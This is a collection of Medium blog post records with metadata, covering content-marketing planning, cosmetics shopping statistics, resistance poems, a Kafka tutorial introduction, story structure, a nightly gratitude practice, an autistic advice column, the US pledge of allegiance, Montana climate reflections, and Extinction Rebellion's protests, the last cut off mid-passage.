Don’t sweat it, we’ve got this. And by we, we mean you — with the help of our S.A.I.L. content strategy program.
What You Need
The undivided attention of leadership or stakeholders to get their input
A computer
Creative thinking (or help from someone on your team who is creative)
🔍⚖️⏱🔑
A Quick Overview
S.A.I.L. is a four part planning and execution strategy for the people who need to create content on a regular basis. Here’s an overview of each section:
SPECIFY 🔍
As a whole, S.A.I.L. is top-heavy: the vast majority of this strategic planning program takes place in the first section, SPECIFY. It’s here we will define your brand values, (if you haven’t already,) and use those as a spring board to define the rest of your content plans.
During SPECIFY, we’ll also pull from numerous data sources, conduct any market research, archive and organize the data, conduct leadership interviews, brainstorm with team members, identify success metrics, and come out the other side with a few ideas for media campaigns, both annual and quarterly.
ALIGN ⚖️
Once we get the info-heavy SPECIFY section completed, it’s time to ALIGN our resources accordingly. The first part of this section is about clarifying the budget: what’s available financially, what influencers need to paid, which quarters of the year require more spending, and more.
Understanding the budget thoroughly allows us to move through the rest of the ALIGN section with clarity, which includes defining the media channels we’ll use to distribute the campaign, defining the assets needed to produce the campaign, and finally, solidifying which KPIs we’re going to focus on to measure success.
INTEGRATE ⏱
INTEGRATE is all about identifying the influencers, from local blogger to A-Lister, that will be used in the campaign, selecting which technologies and services will be critical, defining the Production Timeline, and defining the Promotional Timeline. We will also identify your campaign’s target Launch Day here.
LEVERAGE 🔑
Lastly, but not leastly, LEVERAGE considers what happens after your campaign goes live. There’s a focus on PR and external media: who are the media outlets and journalists who will want to know about this campaign? We’ll also look at other media relations activities that are critical like writing press releases or arranging media tours, and consider opportunities for PR on social media, like user-generated content.
After S.A.I.L. is completed, you will have a solid media plan for your Annual and Quarterly Campaigns, and will be able to articulate to leadership how these plans will benefit the business’ overall goals.
Got it? No? That’s OK! We’ll walk you through all of this and leave your team in awe of your skills. | https://medium.com/@coursemarketing/the-ultimate-content-planning-guide-a-step-by-step-to-successful-media-campaigns-53104304664c | ['Enroll'] | 2020-10-27 17:07:32.012000+00:00 | ['Marketing Strategies', 'Public Relations', 'Media Planning', 'Media Relations', 'Content Strategy'] |
Recent E-Commerce Cosmetics Trend | Recent E-Commerce Cosmetics Trend
Photo by Belle Beauty on Unsplash
2019 E-Commerce Cosmetics Trend research published by Photoslurp and Zinklar looks at the shopping habits of women in five key countries in Europe: United Kingdom, Germany, Spain, France, and Italy. Results of this research reveal that more than 80% of individuals at age 16–54 bought cosmetics online in the last 12 months. This ratio even reaches 91.9% for the age group of 16–24.
In the UK, 34.8% of respondents declared that they buy cosmetics every few months and 22.3% declared to have bought once a month. Almost one-fifth of respondents declared that they bought cosmetics online a few times a month.
According to the results of 2019 E-Commerce Cosmetics Trend Research, 30.2% of respondents prefer to buy cosmetics online from Superdrug, where 22.7% prefer Amazon, eBay comes third with 13.2%.
Among cosmetic products lipstick, masks, eye shadow, eyeliner, concealer, foundation and make-up remover are regularly bought online.
Buyers of cosmetics products online attach utmost importance to discounts and promotions. Free delivery/shipping is the second most important aspect affecting buying experience of online customers.
As a natural result of online shopping’s characteristics, customer reviews are the most important element affecting consumers’ buying decision. | https://medium.com/@kemalsidar/recent-e-commerce-cosmetics-trend-9e7929e0fe49 | ['Kemal Sidar'] | 2020-12-18 10:38:49.218000+00:00 | ['Cosmetics', 'Amazon', 'Retail', 'Sales', 'Marketing'] |
SCAVENGING HOPE: FIVE POEMS FOR RESISTANCE | (Quarantine Essay #85)
I began compiling these four years ago, yet they remain relevant for our present and future days. Blessings to each and all.
SCAVENGING HOPE: FIVE POEMS FOR RESISTANCE
1. REFUGE
Despair is easy. Anyone can
do it. We’ve all lost someone.
We hear the news. We know
our time is short. Our hearts
will break and break again.
But giving up too soon is
its own reward. Please wait.
Not everyone surrenders. Some
find refuge in the cracks
of the darkness. That place
where courage grows. We
will live there. Don’t close
your eyes. Take my hand.
Let’s go find it together.
— rdh
2. TO GET THERE
There was that moment
when all of us wanted to give up
walk away
leave
never looking back
until we remembered
the place we would run to
is the place
we’ve been making possible
that we only see
when all of us
dream together
so we turned around
climbed back down
into the mud
securing the foundations
for a bridge
that one day
someone
will be able to cross
to get there.
— rdh
3. HOLD ON
For one thing
too much of it will make you sick.
Garbage in garbage out.
Which explains
why the commuter
sitting across from you
looks so depressed.
My counter proposal
is legal in all fifty states
and you don’t have to wait
until nightfall.
Just do it.
Look for the ones
who refuse to notice
when you spew cynicism
on their shoes.
Listen for those
who say nay
only when contradicting naysayers.
Work in packs
moving without notice.
People throw good stuff out
then complain
because worth is diminishing.
Redeem what they toss.
Feel around in the darkness.
When you find something
hold it up to the light.
Ignore those
who measure time’s waste.
Truth be told
it’s those rich in despair
who don’t know shit.
Learn to bless
especially when cursing is easy.
We’ll keep it together
so others know where to go.
Some of us are gonna hold on.
Forever.
Scavenge hope.
— rdh
4. SOLSTICE OF DREAD
When my life
feels weighted with care,
tossed between headlines,
I know one truth,
maybe two,
that inform my situation.
Outrage is easy.
Compassion is hard.
The need of this hour,
our solstice of dread,
is the difficult, tragic,
healing work of compassion.
Don’t fear angry clouds
nor shy away from
dizzying cliffs of despair,
but understand
new beginnings will not blossom
under such shadows.
Compost your loss.
Honor your grief.
Lean towards the source
of all light.
Let others glean our harvest.
Yes, my friend,
we will have a harvest.
— rdh
5. CREDO
I believe in words
in the ancient wisdom
of bards wizards shamans
who eliminate their bowels
in consonants and vowels
I believe in the magic of words
efficacy of speech and song
lieder line and lyric
to break bind bury birth
make new this age-old earth.
I believe there are horrors
malignant twisted abominations
deserving judge and jury yet
condemnation only holds at bay
vengeance does not make a way.
I believe with the one who
came down from the mountain
that we must all choose this day
a divergent path reversing
the scourge of human cursing.
I believe we must all stand
at the crux of sorrow and despair
both arms raised over the battle
holding out against the triumph of evil
calling forth original invocation’s retrieval.
I believe in blessing
that primeval practice
pronouncing goodness into being
confounding cynicism and science
practicing hope-filled defiance.
I believe in the power of blessing
energy released versus circumstance
bending chaos to creative will
before all goods dissolve or disappear
speaking blessing into the atmosphere.
Blessing
Blessing
Blessing
Blessing
Blessing
— rdh
Ric Hudgens
12/15/2020 | https://medium.com/@rdhudgens/scavenging-hope-five-poems-for-resistance-23e91f1dfd73 | ['Ric Hudgens'] | 2020-12-15 15:54:55.269000+00:00 | ['Poems On Medium', 'Quarantine Essay', 'Resistance Poetry'] |
Apache Kafka — Tutorial with Example | Apache Kafka is an Event-Streaming Processing platform, designed to process large amounts of data in real time, enabling the creation of scalable systems with high throughput and low latency. Kafka provides the persistence of data on the cluster (main server and replicas) ensuring high-reliability.
In this post we will see how to create a Kafka cluster for the development environment, the creation of Topics, the logic of partitions and consumer groups, and obviously the publish-subscribe model.
The requirements to follow this tutorial are:
Java 8
Download latest Apache Kafka version
Note: All commands are launched on a Windows machine (KAFKA_HOME/bin/windows/), if you are on Linux use the path (KAFKA_HOME/bin). | https://medium.com/digital-software-architecture/apache-kafka-tutorial-with-example-8ebab3c29b74 | ['Andrea Scanzani'] | 2020-12-11 09:04:36.081000+00:00 | ['Software Development', 'Java', 'Kafka', 'Digital Architecture', 'System Architecture'] |
https://www.gofundme.com/f/FUND_URL?utm_medium=copy_link&utm_source=customer&utm_campaign=p_nacp+sha | in The Blog Of Darius Foroux | https://medium.com/@mr.515099/https-www-gofundme-com-f-fund-url-utm-medium-copy-link-utm-source-customer-utm-campaign-p-nacp-sha-dbb34b3e6e58 | ['T.J Paco Lopez'] | 2020-12-19 07:05:49.524000+00:00 | ['Kids', 'Babies Health', 'Custody', 'Prayer', 'Fathers'] |
The Three-Act, Eight-Sequence Story Structure | There’s something I always find fascinating about story theory.
It seems like it’s going to be complicated.
I mean, come on.
Three-act, eight-sequence story structure?
It sure as hell sounds complicated.
That’s twelve balls to keep in the air, right?
And if some one just throws that at you and you’ve never heard of it before, you might stare at them like a deer caught in the headlights.
Crap, you might think. I can’t be a writer. This is too hard.
All I want to do is tell a story.
Take a deep breath with me.
All you’re doing is telling a story.
And it’s so much easier than you think. None of this is that hard. Because, guess what? It’s super familiar. So familiar.
Know why?
You’ve been doing it all your life.
Because just about every story you’ve ever been told — every movie you’ve ever watched, every bedtime story you’ve ever been read, every campfire story, every book, every time your grandpa told you a story about when he was a little boy — fits somewhere in the realm of this story structure.
It’s in your blood. It’s part of your DNA.
I mean someone might throw some exception in the comments, but whatever. I might be able to argue with them, but I won’t.
The fact is that the vast majority of the history of stories fit within the framework of this story structure. It doesn’t matter the format the story takes — oral, written, movies, television.
I’m going to talk about novels now, though. Ready?
Three acts are simply a beginning, a middle, and an end.
See how easy that was?
In most books, the beginning, or first Act, takes up about a quarter of the story.
The second Act, or middle, actually takes up a full half of the story. It’s broken into two parts by the mid-point climax. Which means that most stories really have four acts. We’ve said stories have three acts — a beginning, a middle, and an end — since ancient times, so it’s tradition. So we still do.
the third Act, or end, generally takes up about the final quarter of the story.
That’s all. Nothing scary.
You can break your story down further into eight sequences to help with pacing.
This is actually a screenwriting technique, but it works beautifully for novels.
Act One gets two sequences.
Act Two gets four.
Act Three gets the final two.
Give each sequence a climactic scene at the end. Some of those climactic scenes are bigger, or splashier, than others.
For instance, at the end of Sequence Four, in nearly ever story there is, there’s a Very Big Climax.
The Mid-Point Climax.
That’s the scene, in a non-tragic story, where the story’s hero has a big win.
It’s where Harry catches the snitch in his mouth and wins his first quidditch match.
It’s where Dorothy and her friends reach the Emerald City.
It’s where Han Solo is drawn into the Death Star.
It’s still there in a tragic story, it’s just that it’s a very sad moment, instead of a win. It’s a big miss.
The mid-point climax mirrors the tone of the end of the story. So in a non-tragic story, it’s a happy win. In a tragic story it’s a sad miss.
At the end of sequence four — right smack in the middle — of just about every story that’s EVER BEEN TOLD there’s a big moment. If the story’s not tragic it’s a win. If the story is tragic, it’s a miss.
If you don’t believe me, you can check it out.
Start paying attention when you watch movies. Check out about the sixty minute mark. Pay attention when you’re about halfway through a book, too.
You’ll see it.
Other sequence climaxes might be less dramatic. They might be more internal. But knowing that they are there will help you to keep up the pacing of your story.
But every sequence gets one.
Sequence one gets the inciting incident, when the hero is invited into the story.
Sequence two gets the lock in, when the hero does something to accept that invitation.
Sequence three’s climactic scene is usually one of those less dramatic ones.
Sequence four, as we talked about, is the mid-point.
Sequence five is usually another less dramatic one.
Sequence six gets the main climax — the biggest one of all!
Sequence seven gets my favorite, the third act twist.
And sequence eight gets a climactic scene that wraps things up.
I told you. This is comfortable stuff.
You already know how to do it.
You just need to figure out that you know how to do it. | https://medium.com/the-1000-day-mfa/the-three-act-eight-sequence-story-structure-46126febe4f9 | ['Shaunta Grimes'] | 2019-08-07 14:30:21.602000+00:00 | ['Writing', 'Movies', 'Fiction', 'Books', 'Creativity'] |
A Super Simple Practice to Build Gratitude | Sleep.org defines sleep architecture as the physical phase of a 90-minute sleep cycle. There are four phases, three of which are non-rapid eye-movement (NREM) and the fourth is rapid-eye-movement (REM).
NREM1: Transitioning from being awake into sleep
Transitioning from being awake into sleep NREM2: Light sleep
Light sleep NREM3: Deep sleep
Deep sleep REM: Dream sleep
As you sleep at night, you pass through such a cycle, wake up briefly, and then roll back into the next cycle.
Birth of a practice
Several nights ago, I rolled out of one of my sleep cycles and woke up. I looked over at the alarm clock. It was 1:07 a.m., way too early to consider getting up and starting the day. So I prepared to roll over and fall back asleep. However, I had been reading about gratitude during the day, so it came to mind.
I felt the softness of the mattress beneath me. I felt the sheets and the comforter surrounding me. I felt the pillow beneath my head.
And I thought to myself,
I’m grateful for this comfortable bed.
Next, I felt my presence in the room around me. I sensed not only the four walls, but the empty space between myself in the bed and the walls and the furniture.
I thought,
I’m grateful for this room to sleep in, and for this apartment.
I felt the draft of the heating system blowing air into the room, keeping me nice and cozy on a night when the outside temperature was scheduled to dip to freezing.
I thought,
I’m grateful to be warm.
I glanced over at my bedroom windows and remembered the world outside.
I thought,
I’m grateful that tomorrow, I will be in the world outside that window, where I will see my friends and the many people who care about me.
Then I went back to sleep.
Benefits
I’ve done this practice every night since. Because it’s been less than a week, I would not call it a habit yet. However, I’ve already experienced benefits.
What better time to connect with your subconscious mind?
The whole purpose of having a practice is to communicate messages of gratitude and abundance to your subconscious mind, to signal to the universe that you’re open for even more. There’s no time when you’re in more direct contact with your subconscious mind than as you drift in and out of sleep.
The ego has far less power over you when you are not fully awake. Why not use its absence to build a more beautiful reality?
You accomplish something before you even get out of bed
How nice is it to be able to tick an item off your to-do list as soon as your feet touch the floor?
People talk about having to schedule a time for their practice. Wouldn’t it be wonderful to have your practice completed before you even look at your schedule?
You can’t have gratitude and worry in your mind at the same time
How often do you wake up and start worrying about events you will have to face in the coming day?
Maybe it’s paying the bills. Maybe it’s a doctor's visit. Maybe it’s a meeting at work. It’s very easy for your mind to glom onto something and worry about as you lie there in bed… and then that next sleep cycle never kicks off, and you find yourself groggy and stressed in the morning.
Train your mind to default into gratitude when you wake up, and you’ll be much more likely to roll back into another cycle of refreshing, replenishing sleep.
You can stack a daily gratitude practice on top of your nightly practice
Even if you do nothing else at all besides a nightly practice, you will likely find your pathway to the universe has been opened considerably.
However, gratitude practices are more powerful when you stack them. Imagine if you stacked a daily practice on top of this simple nightly one. That practice could be a gratitude journal, meditation, visualization, or generosity and kindness to others.
Think of this nightly practice as a force multiplier for your daily practice.
Give it a try
Tonight as you awaken between sleep cycles, try the practice out and see what it does for you.
You can modify the script however you want. For example, if you live on a farm, you might not be able to walk right down the street and see other people as I do in the city — but you’d likely be grateful for the land, the peacefulness, the animals.
Benefits I’ve experienced include a sense of accomplishment before getting up, a direct line to the subconscious mind, elimination of worry, and the ability to stack additional gratitude practices during the day. You may find additional benefits, and if so, I invite you to share them in the comments.
Let’s keep in touch! Feel free to sign up for my newsletter. Here’s another article of mine about gratitude: | https://medium.com/@paulryburn/a-super-simple-practice-to-build-gratitude-8a16a3a2bbd1 | ['Paul Ryburn'] | 2020-12-24 12:17:06.913000+00:00 | ['Self Improvement', 'Inspiration', 'Self', 'Gratitude', 'Spirituality'] |
Can You Be Transgender, Autistic, and Pro-Capitalism? | Can You Be Transgender, Autistic, and Pro-Capitalism?
Photo by Thought Catalog on Unsplash
Welcome to Autistic Advice, a semi-regular column where I respond to questions about neurodiversity, Autism acceptance, and disability rights from Autistic people and their allies. You can anonymously send me questions via my Curious Cat askbox.
My question today comes from an anonymous user on Curious Cat. They ask:
I am a transgender Autistic who is pro-Capitalist. Is that a bad thing or contradictory? Anonymous
Thanks for asking this question, Anon. I would imagine you’re asking this because you have been told by some trans & Autistic peers that your economic views are inconsistent with the marginalized place you occupy in society. I bet you’ve also seen a lot of rhetoric online equating a pro-capitalist stance with being amoral, unconcerned with the struggles of oppressed people, and maybe even downright evil. I recognize that kind of rhetoric makes it hard to have a conversation, so while I will still be pretty hard on capitalism in this column, I’m not going to be dismissive of you or your beliefs.
I’ll put my own cards on the table here: when I was young and closeted, I was very pro-capitalist. Throughout my teenage years and into my early 20’s, I identified as a libertarian. Today, I’m more of a libertarian socialist, still very obsessed with individual liberties and fascinated by anarchy, but also a firm believer that societies need to provide for their people. I remember what it was like to be a full-blown anarcho-capitalist though, and I know that in my case, being trans and Autistic and being a capitalist were strongly linked.
When I was young and was not out as either transgender or Autistic, I felt profoundly failed by society. I didn’t fit in with my peers. I struggled to make friends or follow unspoken social rules about how I was supposed to behave and what I was supposed to look like. It seemed to me that the only way to escape this judgemental, confining trap was to be wholly independent — which meant making a ton of money.
For years, I believed in the capitalist fantasy that if I worked hard and was really canny and smart, I could make a lot of dough and live an independent life free from oppression. No one would judge me for being too androgynous or awkward. Wealth and status would insulate me from the pain of social isolation. I also felt that since no one had ever taken care of me, I had no obligation to look after anyone else.
By the time I finished graduate school, I was close to attaining the elite status and comfortable life I had fantasized about, but I was also miserable. I had very few friends, and was overly reliant on my romantic partner for emotional support. I had overworked myself physically so badly I had a heart murmur. My gender dysphoria had gotten so bad I could barely look in the mirror without dissociating. I was suffering from regular sensory meltdowns and Autistic burnout, but I didn’t have a name for those things. Life was painful and empty.
What ultimately saved me, Anon, was realizing I needed other people. There is no such thing as a truly independent life. As I met other transgender people and fellow Autistics, I came to recognize we had shared struggles that could only be fixed by collective action and advocacy. Advanced degrees and money hadn’t made me feel any less broken, but meeting other people like me sure did!
Building community also forced me to confront just how economically exploited most transgender and Autistic people are. Money had allowed me to build a gilded cage to be lonesome inside of. Most of my peers had no such option. They were struggling to find work, and were forever having to negotiate fraught relationships with bigoted family members on whom they were financially dependent. They lacked access to therapy or hormones, or had no choice but to work in noisy, bright kitchen environments that were absolute sensory hell.
I learned that the average Autistic life under capitalism is one of immense suffering. So is the average transgender life. I couldn’t advocate for a system that would do this to people anymore.
I don’t know if your perspective is anything like mine once was, Anon. Maybe you are pro-Capitalist for completely different reasons. But I know that for many Autistics, capitalism offers an alluring promise. Use your skills. Take care of yourself. You can be a one-person island. Lots of Autistics want that, or think they want that.
The truth is, life as an island is hell, and each of us is reliant upon other people. We owe other people a great deal. The workers of the world keep us fed, clothed, sheltered, and sane. We must take good care of them. Capitalism won’t ever fix the problems of our oppression. We need to band together and resist transphobia and ableism collectively instead.
I don’t think you’re a bad person for wanting to believe in the capitalist fantasy, Anon, and I don’t even think your beliefs are inherently contradictory. There are many Autistic people who succeed economically. There are even some transgender ones who do. But I don’t think that success is worth chasing. I think we can do better for ourselves, and for others.
I know it will be hard to grapple with competing opinions on this stuff. Many leftists and anti-capitalists are pushy, dismissive, and hard to deal with, especially online. But I think you should welcome respectful conflict where you can find it. Read texts about sociology, economics, and social psychology. Have conversations with anti-capitalist transgender and Autistic people in private, one-on-one settings that don’t lead to flame wars and shallow attacks. Ponder what you truly believe, and which values you want to uphold in your life.
The Autistic and transgender communities are vibrant, intellectually diverse ones. I’m constantly revising what I think, and truth be told I don’t know what the best alternative to capitalism is or how a post-capitalist world might look. So there is plenty of room for you and your perspectives, as long as you keep your mind open and engage with people who do the same. Thanks for reaching out and best of luck on your journey!
…
Want to ask Autistic Advice a question? Submit via the Curious Cat box here. | https://aninjusticemag.com/can-you-be-transgender-autistic-and-pro-capitalism-eadff262db9d | ['Devon Price'] | 2020-12-15 16:54:17.146000+00:00 | ['Autism', 'Capitalism', 'Social Justice', 'Advice', 'Transgender'] |
Hooray for the Red, White, and Blue — Examining Our Pledge of Allegiance | Hooray for the Red, White, and Blue — Examining Our Pledge of Allegiance
We pledge allegiance to a flag, but what does that mean?
Photo by Joshua Hoehne on Unsplash
Where did we get the pledge of allegiance?
A lot of people are skipping the whole pledge of allegiance thing during Zoom school. It has some conservatives worried, some parents wishing for some return to normalcy, some liberals indifferent, and some kids not even noticing.
But what, exactly is the pledge of allegiance? How did it originate? At a time where the American flag is being wrung through a lot of stressful ordeals, from being humped by our soon to be former president, pinned on every campaigning politician’s blazer, curled into a “Q” shape to promote a “very patriotic” Q-anon conspiracy theory, waved at every debate and rally, upheld while people sing and kneel, or not, for our national anthem, and prominently enlarged to gigantic proportions to fly off the back of roaring pick-up trucks, our flag has been through a lot.
I pledge allegiance to the flag of…
I ask myself whether any other flag has been so loved, hated, burned, furled, protected, rejected and revered, or made in such massive quantities in China.
Most of us grew up reciting the pledge of allegiance. It is not the same vow taken consistently for the last century. The first pledge of allegiance did not contain the words, “United States of America” or “Under God.” It also did not pledge allegiance to “the flag” but to “my flag.”
Also, I don’t know if you are like me, but it wasn’t until after fifth grade that I recited “One nation, under God, indivisible, with liberty…”
No one ever tells school children that the word is “INDIVISIBLE”, so of course we all said “invisible”, presuming it was alluding to the aforementioned, always lurking and spying, “Under God” that was added to the pledge in 1942 and codified by congress into mandatory use in 1950.
The pledge originated in a youth magazine and is believed to have been penned by a writer names Francis Bellamy and edited by James Upham in 1892. For fifty years, then, young children did not mention either the United States, nor God.
They pledged only “to my flag and to the republic” of a non-specified place.
And, to the republic for which it stands
Also, ironically, the pledge was only created because it was the four-hundredth anniversary of Christopher Columbus “discovering” the new and unconquered continent of North America. Perhaps one reason very few people object to missing the pledge in these days of missing “normal” school, is that we no longer uniformly celebrate the exploits of murderers, enslavers, or colonialists such as Columbus.
As to the republic for which it stands, most people want to aspire to be a democracy, not a representative republic. Debate rages as to whether we should pledge to one or the other, or to the constitution (rule of law) or one person, one vote, for every voice.
It is also curious that the pledge is made to the symbol, and not to the country, constitution, or nation, itself.
Today, Few people can even name which day is Flag day on the national calendar; (it’s June 14). We are more accustomed to displaying and honoring the flag on The Fourth of July, Memorial Day and Veterans day.
As I grew up with a military family near an air force and army base, flags did sprout up upon these days, but unless we were in school, there was no pledge made to the flag.
What children feel when they pledge allegiance varies among individuals and often, their household politics. I always took great pride in the country, thinking very little of the politics. But, like most kids, I never thought much about the words, what promises we were making, or why.
One nation, indivisible
We ask a lot of the flag, which as mentioned before has done a lot of heavy lifting of hearts, minds, and even weaponry. It has been flown at KKK rallies. It has been draped reverently over coffins of our fallen heroes. It has even flown on the moon. As mentioned, Trump is always hugging and kissing it, which makes some of us cringe, and others of us cheer.
It has been used both wisely and inadvisably in many situations.
I prefer to believe that you do not have to be a far-right whacko to honor the flag. When I march in protests, I wave it proudly. It can serve a bit as a tear gas shield, especially in Portland where you can tape it to your umbrella, leaf blower, or wall of moms’ t-shirt.
I often see people drape it upside down to signal a revolution — literally a turn-around — in representative voices, is in order. I remain neutral as to whether this is disrespectful, who are we to say what freedoms that are fought and died for should be judged as negative?
If we are to keep our nation indivisible, we need to keep every voice heard.
With liberty and justice, for all
It is not the turf or private property of those who are bigots, xenophobes, sexists, or even the military.
Our flag belongs, necessarily, to all Americans.
The summer of 2020 was like no other. I stayed in rural Trump country, periodically slipping north to Seattle, and south to Portland, to march for basic human rights.
Where I stayed outside Tacoma, was a working man’s and long- haul driver big truck haven. Huge trucks, more than I even saw growing up in the boonies, were everywhere.
They often flew giant Trump banners waved along with enormous red, white and blue U.S. flags. I did not necessarily see patriots. Some are. Some are not.
It did occur to me that the bigger the flag, and the louder the truck, the more the driver seemed to be compensating for something he lacks which is just too small. There are also an awful lot of “blue lives matter” flags in the northwest, patterned very much like our US. Flag, which makes me wonder what would happen if the Black lives matter flags also used the stars and stripes.
Overall, I seldom have an occasion to recite the pledge of allegiance anymore. Most adults do not outside of serving as school teachers for the very young.
It is curious, though, isn’t it? We indoctrinate only the very youthful, who are too young to know what they are pledging, and ignore the adults who are mature enough to understand, but don’t bother.
I did learn a lot about flags this last summer and election cycle. The biggest take-away I have, came when I realized the size of your flag, however impressive, does not honestly convey the size of love you have in your heart for your nation.
When I see old glory, and a lump forms in my throat, as it did when the flags for Ruth Bader Ginsberg, flew at half mast, I don’t hear: “America, love it or leave it.”
I hear: “America: respect us enough to keep the dream of freedom for all, alive forever.” | https://medium.com/equality-includes-you/hooray-for-the-red-white-and-blue-examining-our-pledge-of-allegiance-6c2c001aad2f | ['Christyl Rivers'] | 2020-11-27 16:37:36.085000+00:00 | ['USA', 'Election 2020', 'Equality', 'BlackLivesMatter', 'Patriotism'] |
Channeling My Climate Anxiety into Climate Action in 2021 | A view into the rural climate dilemma by Calvin Servheen
You might think that the rocky mountain west is big and empty, and in some senses it is, but it’s also a deep source of environmental dispute whose surface the mainstream media only touches. Welcome to the Climate Journal Project blog, my name is Calvin. I’ll be contributing here discussing my experiences with wilderness, wellness, and the American West. I’ll share from a local perspective how climate change is affecting life in some of the most pristine places the developed world still holds.
Born in Montana, I’m a student at Montana State University in Bozeman. In the classroom, my focus is in engineering and social change business. Outside that I also instruct mountain biking and snowsports programs in Big Sky MT and I am an outspoken advocate of public Wilderness. Growing up in Western Montana I have seen the state change drastically in just two decades.
The shadow of climate change looms darkly over the forests and dry plains of Montana and like so many other places, we have dealt with hard changes. Each year, dwindling snowpack, accelerating fire seasons, and increasing pressure on land challenge our connection to this beautiful place. Like all Americans, we must change greatly to truly coexist with our surroundings, and some of us have begun thinking hard about how we can stay sane through the tumultuous times ahead.
I hope to offer a number of different insights through this blog into how you can become more connected to nature in order to stay hopeful and empowered about your climate crisis experience no matter where you live.
We all have our own ways of appreciating nature, of experiencing that smacked in the face, eye watering sense of awe that reminds us of our place in the world, and reconciles our anxieties — it is an experience I call ‘feeling nature’. It doesn’t matter if you feel nature regularly every time you watch the sun dip below the horizon, or when you stand with your face in a sunflower and your feet deep in the loam of your garden, or if you’ve only felt nature a handful of times, maybe in the shade of a coastal rainforest, or caught in an alpine thunderstorm with the rain whipping the rocks and cascading into the dark below you. It doesn’t matter even if you’ve never been moved by the natural world in the way I’m describing. We can all help each other through climate anxiety and environmental grief by feeling nature.
Through no fault of my own, I’ve been lucky enough to feel the natural world often. I’ve spent hundreds of nights shivering under the cold stars. I’ve gotten to ride my mountain bike for a living and think about my relationship to the sport in ways most are not privileged enough to do. I’ve worked in the outdoor industry spending each day in the mountains rain or shine. I’ve even hunted game across sweeping landscapes. From what I’ve seen, feeling nature is a very personal act, it’s a moment of understanding between a person and the natural world that can be elusive. However, no matter who you are, there are a few key ingredients you must experience to come away fulfilled from time in the wild: awe, appreciation of existence value, and diminution of the self. These are the feelings at the core of this blog, and they are key to feeling wellness in the face of climate anxiety. Feeling them is hard even for those of us surrounded by unbroken wilderness.
Montanans, just like other humans, are caught in a climate crisis, a dilemma to balance what we must do to stop climate change and other manifestations of resource overutilization, and what we can do within the economic and social constraints of our lives. Addressing the dissonance between these two areas of human interest, while being part of the solution is what I aim to address here — wellness practices through nature that don’t let us hide from our concerns about the world, but instead remind us why nature is important so we can stay motivated, free of cynicism, and be part of the solution.
In my home state, the connection between happiness and access to the natural world is very clear. It is a pervasive, unspoken truth in our lives, and it is the reason that Montanans fight for conservation so strongly. I believe that even in places where the truth of feeling nature isn’t so widely understood, the same correlation applies. The key to living well, staying motivated, and keeping away climate grief for all of us is to remain connected to nature in the right way.
But what do I mean when I say ‘the right way’? Isn’t it wrong to judge how people commune with the earth? No matter where you live, there are both constructive and ineffective ways to connect yourself to the natural world. The difference between truly feeling and being awed by nature, and owning or conquering it is sometimes subtle, but where we fall on the appreciation scale affects the amount of wellness we can derive from the earth, and the extent to which we end up contributing to environmental problems. In this blog I will show through examples how to create, rediscover, or affirm your own connection to the earth without an anthropocentric mindset by sharing a slice of life in a place where people’s struggle to feel nature defines nearly every moment. By doing this, I hope we can inspire each other to be better connected to what’s really important, so we can derive motivation and wellness from nature even as the global climate crisis rages.
In the coming weeks, I’ll talk about the quiet beauty of rivers that swirl mysteriously and draw the mist out of the air, of mountain peaks glaring in the sun, their aretes streaming with contrails of ice. I will talk about how I deal with my own climate anxiety and environmental grief — the pain of seeing mountain glaciers dwindle and vanish over my lifetime, or waking up to see a column of forest fire bearing down on my wilderness camp. I will even discuss the raging disputes over land management with respect to endangered species and recreation access, and comment on how these disputes influence the climate anxiety of all involved. I will also speak about the people I’ve seen — about the young, powder stomping locals and their relationship with the outdoor industry, the rich landowner who walls off his castle like a medieval fiefdom, and the rancher, descendant of cowboys, who has seen her state change so much in only a few decades.
As I share my experiences, I hope you will share and reflect on your own. The beauty of the natural world can be experienced in the wilds, but also in a rooftop garden, in the smile of someone you love, or in the smallest drop of rain. Feeling nature is a mindset that can be applied by anyone, and I hope as we dive into the wilds of my home, you will explore the natural side of your own, and form your own bond with the beauty that hides in what’s really important to you.
Next time I will talk about outdoor recreation, the most common channel folks in the developed world use to experience nature. We will cover how to approach it, what I’ve learned about its impacts, and why you can do it anywhere — even in the heart of the largest city. I can’t wait to connect with you next time on A Slice of Life in Montana. | https://medium.com/@theclimatejournalproject/channeling-my-climate-anxiety-into-climate-action-in-2021-4b2c9e931356 | ['Climate Journal Project'] | 2021-01-18 17:41:51.209000+00:00 | ['Sustainability', 'Climate', 'Wellness', 'Mental Health', 'Environment'] |
Hacking Parliament: has Extinction Rebellion changed anything? | There’s been a refreshing shift in the news coverage of the last couple of weeks. As MPs sloped off to their constituencies for Easter, exhausted by the limitless agony that is Brexit, another quick-fix issue took the limelight: our world’s impending destruction. Extinction Rebellion’s radically peaceful protests across London dominated front pages, opinion pieces and social media, but are they likely to impact Government climate change policy?
Over ten days the apolitical activist group targeted Parliament, central London, the City and Heathrow to publicise their discontentment with the way our politicians are dealing with climate change. In response, plenty of MPs dedicated a minute of their (or their staff’s) time to supportive tweets. All party leaders other than Theresa May met with Greta Thunberg, the young activist who has inspired youth protests across the world. Ex-Labour leader Ed Milliband was granted an Urgent Question in the House of Commons on the subject in which about 11 Conservatives and 20 Labour MPs spoke (out of a possible 650). On 1st May Parliament approved a motion declaring climate change an emergency, capitulating to Extinction Rebellion’s first demand. All in all, it’s been an encouraging show of support for the protesters and proved that our elected representatives were taking note.
Whether we can be confident this is the beginning of a change in government policy direction is another matter. Environment Minister Michael Gove said it was now time to have “a serious conversation about what we can do to collectively deal with this problem.” But revealingly, Energy & Clean Growth Minister Claire Perry intoned in a speech, “We must now continue to act.” That’s the Government’s way of saying, “We hear your suggestions but we quite like the way we’re doing things, thanks.”
“What’s lacking at the moment is a reshaping of the debate.”
Reluctance from our politicians to adequately tackle climate change stems from the fact that it’s a mammoth beast of a task without an equally mammoth public drive to solve it. The solutions require drastic action at all levels of society and curtailing luxuries the west has come to see as rights (flying, meat, regular showers, affordable fashion, air conditioning etc. never-ending etc.). And whilst the public at large gets more riled by whether or not they belong to a supranational trading bloc than by the fate of their planet, climate change will inevitably fade into the background of parliamentary business again.
Herein lies the problem. Generally, politicians and governments start to change their policies when public opinion overwhelmingly swings towards or against something — they depend on our votes to remain in office, after all. Look at the poll tax, marriage equality and the debate around medicinal cannabis right now.
